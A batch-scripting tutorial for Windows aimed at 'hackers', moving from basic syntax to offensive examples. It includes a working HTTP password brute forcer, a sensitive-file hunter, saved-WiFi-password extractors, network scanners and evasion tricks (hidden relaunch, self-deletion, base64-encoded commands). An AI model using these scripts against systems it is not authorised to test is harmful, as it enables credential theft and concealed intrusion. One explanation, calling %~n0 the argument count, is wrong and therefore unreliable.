Batch scripting for Hackers
Batch Scripting for Hackers
Chapter 1: Your First Batch Script
Let’s create your first Windows batch file. Open Notepad and follow along:
C:\Users\Thilan\scripts> dir
C:\Users\Thilan\scripts> notepad script.bat
C:\Users\Thilan\scripts> script.bat
Hello from Batch!
C:\Users\Thilan\scripts>
What’s different from Bash?
- Batch files end with
.bator.cmd - No need for
chmod- they’re automatically executable on Windows - Use
notepador any text editor to create them
💡 Quick Tip: Right-click and "Edit" to open batch files in Notepad quickly!
Chapter 2: Variables - Storing Information
Variables in batch work differently than bash:
@echo off
set x=1
echo Value of x is %x%
Output:
C:\Users\Thilan\scripts> script.bat
Value of x is 1
Key Differences:
- Use
setto create variables - Use
%variable%to access them (not$variable) @echo offhides commands (makes output cleaner)
Using Variables with Text
@echo off
set name=Thilan
echo Hi %name%, how are you?
⚠️ Important: Spaces matter in batch!
set y = 5 REM ❌ This creates a variable named \"y \" (with space)
set y=5 REM ✅ Correct
Chapter 3: Getting User Input
Make your scripts interactive with set /p:
@echo off
set /p name=Enter your name:
echo Hello %name%
pause
What’s pause?
- It stops the script and waits for you to press a key
- Without it, the window closes immediately
- Useful for seeing output before the window closes
Try it yourself:
- Create a script that asks for your age
- Calculate the year you were born
- Display the result
Chapter 4: Making Decisions (If Statements)
Batch can make choices too:
@echo off
set x=10
if %x% GTR 5 (
echo x is greater than 5
) else if %x% EQU 5 (
echo x is equal to 5
) else (
echo x is less than 5
)
Comparison Operators:
EQU→ equal toNEQ→ not equal toGTR→ greater thanLSS→ less thanGEQ→ greater or equalLEQ→ less or equal
Checking if Files Exist
@echo off
if exist \"passwords.txt\" (
echo File found!
) else (
echo File not found!
)
Chapter 5: Loops - Doing Things Repeatedly
For Loop (Simple List)
@echo off
for %%i in (1 2 3 4 5) do (
echo Number %%i
)
pause
⚠️ Important: Use %%i in batch files, but %i in command line!
For Loop (Range of Numbers)
@echo off
for /L %%i in (1,1,5) do (
echo Number %%i
)
pause
Syntax: /L %%i in (start, step, end)
For Loop (Files in Directory)
@echo off
for %%f in (*.txt) do (
echo Found file: %%f
)
pause
Chapter 6: Functions (Labels and CALL)
Batch doesn’t have real functions, but we use labels:
@echo off
call :greet Thilan
call :greet Sarah
pause
exit /b
:greet
echo Hello %1
exit /b
How it works:
:greetis a label (like a function name)call :greetjumps to that label%1is the first argumentexit /breturns from the label
Chapter 7: Hacking Scripts - Real Examples
Now let’s build some Windows hacking tools!
1. Port Scanner
@echo off
setlocal enabledelayedexpansion
set target=%1
if \"%target%\"==\"\" (
echo Usage: %0 ^<target^>
exit /b
)
echo Scanning %target%...
for %%p in (21 22 23 25 80 443 3389 8080) do (
(echo test > nul 2>&1) | powershell -Command \"$client = New-Object System.Net.Sockets.TcpClient; try { $client.Connect('%target%', %%p); $client.Close(); Write-Host 'Port %%p is OPEN' -ForegroundColor Green } catch { }\" 2>nul
)
pause
Usage:
portscan.bat 192.168.1.1
What it does:
- Scans common ports (FTP, SSH, HTTP, HTTPS, RDP, etc.)
- Uses PowerShell for TCP connections
- Shows which ports are open
2. Password Brute Forcer (HTTP)
@echo off
set url=http://example.com
set user=admin
echo [*] Starting password attack on %url%
echo.
for /F \"tokens=*\" %%p in (passwords.txt) do (
curl -s -o nul -w \"%%{http_code}\" -u %user%:%%p %url% > response.txt
set /p code=<response.txt
if \"!code!\"==\"200\" (
echo [+] Password found: %%p
goto :found
) else (
echo [-] Trying: %%p
)
)
echo [!] Password not found
goto :end
:found
echo [+] Attack successful!
:end
del response.txt 2>nul
pause
Requirements:
passwords.txtfile with one password per linecurlinstalled (comes with Windows 10+)
⚠️ Legal Warning: Only use on systems you own or have permission to test!
3. Network Information Gatherer
@echo off
echo ================================
echo NETWORK INFORMATION
echo ================================
echo.
echo [*] Your IP Configuration:
ipconfig | findstr /i \"IPv4 Subnet Gateway\"
echo.
echo [*] Active Network Connections:
netstat -an | findstr \"ESTABLISHED\"
echo.
echo [*] DNS Cache:
ipconfig /displaydns | findstr \"Record\" | more
echo.
echo [*] ARP Table:
arp -a
echo.
pause
What it shows:
- Your IP address and gateway
- Active connections
- DNS records cached on your machine
- ARP table (IP to MAC address mapping)
4. File Hunter (Find Sensitive Files)
@echo off
set search_dir=%1
if \"%search_dir%\"==\"\" set search_dir=C:\
echo Scanning %search_dir% for sensitive files...
echo ================================
echo.
echo [*] Looking for password files...
dir /s /b \"%search_dir%\*password*.*\" 2>nul
echo.
echo [*] Looking for backup files...
dir /s /b \"%search_dir%\*.bak\" 2>nul
echo.
echo [*] Looking for configuration files...
dir /s /b \"%search_dir%\*.config\" \"%search_dir%\*.ini\" 2>nul
echo.
echo [*] Looking for database files...
dir /s /b \"%search_dir%\*.db\" \"%search_dir%\*.sqlite\" 2>nul
echo.
echo Scan complete!
pause
Usage:
filehunter.bat C:\Users
5. WiFi Password Extractor
@echo off
echo ================================
echo WiFi Password Extractor
echo ================================
echo.
echo [*] Saved WiFi Networks:
netsh wlan show profiles
echo.
echo ================================
echo.
set /p network=Enter network name to get password:
echo.
echo [*] Password for %network%:
netsh wlan show profile name=\"%network%\" key=clear | findstr \"Key Content\"
echo.
pause
What it does:
- Shows all saved WiFi networks
- Extracts the password for a specific network
- Uses Windows
netshcommand
💡 Tip: You need admin rights to see passwords!
6. System Information Collector
@echo off
set output=system_info.txt
echo [*] Collecting system information...
echo ================================ > %output%
echo SYSTEM INFORMATION >> %output%
echo ================================ >> %output%
echo. >> %output%
echo [*] Computer Name: >> %output%
hostname >> %output%
echo. >> %output%
echo [*] Current User: >> %output%
whoami >> %output%
echo. >> %output%
echo [*] System Info: >> %output%
systeminfo | findstr /i \"OS Host System Boot Domain Logon\" >> %output%
echo. >> %output%
echo [*] Running Processes: >> %output%
tasklist >> %output%
echo. >> %output%
echo [*] Installed Software: >> %output%
wmic product get name,version >> %output%
echo. >> %output%
echo [+] Information saved to %output%
notepad %output%
What it collects:
- Computer name and current user
- OS version and system info
- Running processes
- Installed software
7. Quick Ping Sweeper
@echo off
set subnet=%1
if \"%subnet%\"==\"\" (
echo Usage: %0 ^<subnet^> (e.g., 192.168.1)
exit /b
)
echo [*] Scanning %subnet%.1-254
echo.
for /L %%i in (1,1,254) do (
ping -n 1 -w 100 %subnet%.%%i | findstr /i \"reply\" >nul
if !errorlevel! equ 0 (
echo [+] %subnet%.%%i is ALIVE
)
)
echo.
echo [*] Scan complete!
pause
Usage:
pingsweep.bat 192.168.1
Chapter 8: Advanced Tricks
1. Using PowerShell Inside Batch
@echo off
echo Running PowerShell command...
powershell -Command \"Get-Process | Where-Object {$_.CPU -gt 10} | Select-Object Name, CPU\"
pause
Why mix them?
- PowerShell is more powerful
- Batch is simpler for basic tasks
- Combine both for best results!
2. Delayed Expansion
@echo off
setlocal enabledelayedexpansion
set count=0
for %%f in (*.txt) do (
set /a count+=1
echo File !count!: %%f
)
echo Total files: !count!
pause
Why use !variable! instead of %variable%?
- Inside loops,
%variable%doesn’t update - Use
!variable!for real-time updates
3. Redirecting Output
REM Save output to file
dir > files.txt
REM Append to file
echo More info >> files.txt
REM Hide error messages
dir nonexistent 2>nul
REM Save both output and errors
command > output.txt 2>&1
4. Command Line Arguments
@echo off
echo Script name: %0
echo First argument: %1
echo Second argument: %2
echo All arguments: %*
echo Number of arguments: %~n0
if \"%1\"==\"\" (
echo No arguments provided!
exit /b
)
Chapter 9: Practice Challenges
Challenge 1: Network Scanner
Create a script that:
- Asks for a subnet (like 192.168.1)
- Pings all addresses from .1 to .254
- For each alive host, scan ports 80, 443, 3389
- Save results to a file
Challenge 2: Password Generator
Create a script that:
- Asks how many passwords to generate
- Asks for password length
- Uses PowerShell to create random passwords
- Saves them to a file
Hint:
powershell -Command \"([char[]](65..90+97..122+48..57) | Get-Random -Count 12) -join ''\"
Challenge 3: Process Monitor
Create a script that:
- Lists all running processes
- Asks user to enter a process name
- Shows detailed info about that process
- Option to kill the process
Chapter 10: Batch vs PowerShell vs Bash
| Feature | Batch | PowerShell | Bash |
|---|---|---|---|
| Platform | Windows | Windows | Linux/Mac |
| Power | Basic | Advanced | Advanced |
| Syntax | Simple | Complex | Medium |
| Objects | No | Yes | No |
| Best for | Quick tasks | Automation | Linux admin |
When to use Batch:
- Quick and simple Windows tasks
- Legacy system support
- Simple automation
- When PowerShell isn’t available
When to use PowerShell instead:
- Complex Windows administration
- Working with .NET objects
- Active Directory tasks
- Modern Windows systems
Chapter 11: Security & Evasion
1. Hide Command Window
@echo off
if not \"%1\"==\"am_admin\" (
powershell -Command \"Start-Process -FilePath '%0' -ArgumentList 'am_admin' -WindowStyle Hidden\"
exit /b
)
REM Your code here runs hidden
2. Check for Admin Rights
@echo off
net session >nul 2>&1
if %errorlevel% neq 0 (
echo This script requires Administrator privileges!
pause
exit /b
)
echo Running as Administrator
REM Your privileged code here
3. Self-Destruct Script
@echo off
echo Running...
REM Your code here
REM Delete itself
(goto) 2>nul & del \"%~f0\"
4. Encode Commands (Simple Obfuscation)
@echo off
REM Instead of: echo Hello World
set msg=SGVsbG8gV29ybGQ=
powershell -Command \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('%msg%'))\"
Chapter 12: Useful One-Liners
Network Commands
REM Show all network connections
netstat -ano
REM Show WiFi passwords
for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
REM Find your external IP
powershell -Command \"(Invoke-WebRequest -Uri 'https://ifconfig.me').Content\"
REM DNS lookup
nslookup google.com
System Commands
REM List all services
sc query type= service state= all
REM Check startup programs
wmic startup get caption,command
REM Get system serial number
wmic bios get serialnumber
REM List installed programs
wmic product get name,version
File Operations
REM Find large files (over 100MB)
forfiles /S /M * /C \"cmd /c if @fsize GTR 104857600 echo @path @fsize\"
REM Find files modified today
forfiles /S /D 0 /C \"cmd /c echo @path @fdate\"
REM Search file contents
findstr /S /I \"password\" *.txt
Chapter 13: Best Practices
1. Always Start Clean
@echo off
setlocal enabledelayedexpansion
REM Your code here
endlocal
2. Add Usage Information
@echo off
if \"%1\"==\"\" (
echo Usage: %~nx0 ^<target^> [options]
echo.
echo Examples:
echo %~nx0 192.168.1.1
echo %~nx0 example.com
exit /b 1
)
3. Error Handling
@echo off
command 2>nul
if %errorlevel% neq 0 (
echo Error: Command failed!
exit /b %errorlevel%
)
4. Create Logs
@echo off
set logfile=script_%date:~-4,4%%date:~-10,2%%date:~-7,2%.log
echo [%time%] Script started >> %logfile%
REM Your commands here
echo [%time%] Script completed >> %logfile%
5. Clean Up Temp Files
@echo off
REM Your code that creates temp files
:cleanup
del temp_*.txt 2>nul
exit /b
Chapter 14: Combining Batch with Other Tools
Using cURL
@echo off
REM Download a file
curl -o output.html https://example.com
REM POST data
curl -X POST -d \"user=admin&pass=test\" https://example.com/login
REM Check HTTP status
curl -s -o nul -w \"%%{http_code}\" https://example.com
Using Nmap (if installed)
@echo off
set target=%1
echo Scanning %target%...
nmap -sV -O %target% > scan_results.txt
type scan_results.txt
pause
Using Python Scripts
@echo off
REM Check if Python is installed
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo Python is not installed!
exit /b
)
REM Run Python script
python my_script.py %1 %2
Final Tips for Windows Hackers
- Learn PowerShell - It’s more powerful than batch for modern Windows
- Use WSL - Windows Subsystem for Linux gives you bash on Windows
- Test safely - Use VMs for testing your scripts
- Get permission - Never run these scripts on systems you don’t own
- Study documentation - Run
help commandorcommand /?to learn more
Useful Built-in Commands to Learn:
netstat- Network connectionstasklist/taskkill- Process managementwmic- Windows Management Instrumentationnet- Network administrationreg- Registry operationsschtasks- Task scheduling